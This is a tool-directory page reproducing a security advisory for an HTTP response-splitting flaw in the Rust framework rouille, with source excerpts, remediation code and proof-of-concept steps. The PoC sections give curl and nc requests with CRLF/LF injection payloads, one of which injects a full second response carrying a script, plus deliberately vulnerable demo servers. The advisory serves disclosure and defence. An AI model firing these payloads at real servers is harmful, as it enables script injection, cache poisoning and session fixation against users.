Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Vulnerability AnalysisCode AnalysisWeb Application ExploitationWeb SecurityPenetration Testing
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)

Assigned CVE ID: CVE-2026-66746

Summary

rouille writes response header values to the client without checking them for carriage return or line feed. An application that places attacker-influenced text into a header value therefore emits extra headers, or an entire second HTTP response, on the wire.

Two properties of rouille make this reachable in ordinary code. Request::get_param percent-decodes, so %0d%0a in a query string becomes a real CRLF. And session::session copies the client's own Cookie value into Set-Cookie with no validation at all.

Every other widely used Rust HTTP stack rejects this at the type level: http::HeaderValue::from_str returns InvalidHeaderValue for CR and LF, which is why hyper, axum, actix-web and warp are not exposed the same way.

Affected versions

Repo URL: https://github.com/tomaka/rouille

First affected0.4.0 (2016-12-14) for the response header path below
Last affected3.6.2 (2023-04-24), the current release
Fixed inno fixed version at time of writing

Releases before 0.4.0 emit responses through a different code path that was not examined, so they are not claimed either way. The session::session reflection described under path B exists from 0.3.2 (2016-12-02) onward.

Severity

CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific case of CWE-93 (CRLF Injection).

CVSS 4.0 base score 5.3 (Medium) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Threat model

Path A requires a remote, unauthenticated attacker and a victim who follows a link the attacker supplies. The attacker needs the application to put any request-derived string into a response header. Redirecting to a next or return_to query parameter is the common case.

Path B requires only that the application calls session::session and reads the session id. The attacker controls their own Cookie header, so on its own this is self-inflicted. It becomes an attack against others when a shared cache stores the split response, or when combined with another way to set a cookie in the victim's browser.

Root cause

rouille/src/lib.rs, lines 624 to 640, passes values straight through:

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes checks only that the bytes are ASCII, and CR and LF are ASCII. tiny_http-0.12.0/src/common.rs, lines 166 to 172:

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

The value is then written with no escaping. tiny_http-0.12.0/src/response.rs, lines 99 to 104:

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Path A, percent-decoded query parameters

Request::get_param decodes percent escapes, so the caller receives real control characters. rouille/src/lib.rs, lines 928 to 932:

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Path B, session identifiers reflected from the request

rouille/src/session.rs takes the key from the client's cookie at line 59 and interpolates it into the response header at lines 75 to 81:

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Proof of Concept

Path A

Step 1. Start a server that redirects to a query parameter.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Step 2. Request it with %0d%0a in the parameter.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Result. X-Injected arrives as its own header:

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Step 3. Extend the payload past the end of the headers to emit a whole second response.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Result. One request, two complete responses. The second carries an attacker-chosen status line, content type and body:

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Path B

Step 1. Start a server using the documented session idiom.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Step 2. Send a cookie whose value contains a bare LF. \n below is a single line feed, \r\n is a CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Result. The value breaks out of Set-Cookie onto its own line:

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

Path B has three limits worth noting. Only a bare LF gets through, because CRLF would have ended the header line in tiny_http, so the client or cache must treat a lone LF as a terminator. Everything after the injection point still carries the ; Max-Age=3600; Path=/; HttpOnly suffix from the same format!, so the primitive is a header with a fixed trailing string rather than a clean arbitrary header. And the attacker only controls their own cookie. Path A has none of these limits.

Impact

Script execution in the origin's security context, cache poisoning where a shared cache stores the injected response against the victim's URL, session fixation through an injected Set-Cookie, and overriding security headers such as CSP or CORS. Because path A produces a real CRLF, every client and cache splits on it.

Remediation

Validate header values in Server::process before handing them to tiny_http, in rouille/src/lib.rs around line 634:

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Return a 500 for the whole response rather than dropping the offending header, so the failure is visible instead of silently changing the response.

Validate the session key in session::session as well: reject a cookie value that is not [A-Za-z0-9]+ and generate a fresh id instead. Checking in Response::with_additional_header, with_unique_header and the redirect_* constructors would surface the error at the call site, where the application author can act on it.

Download Tool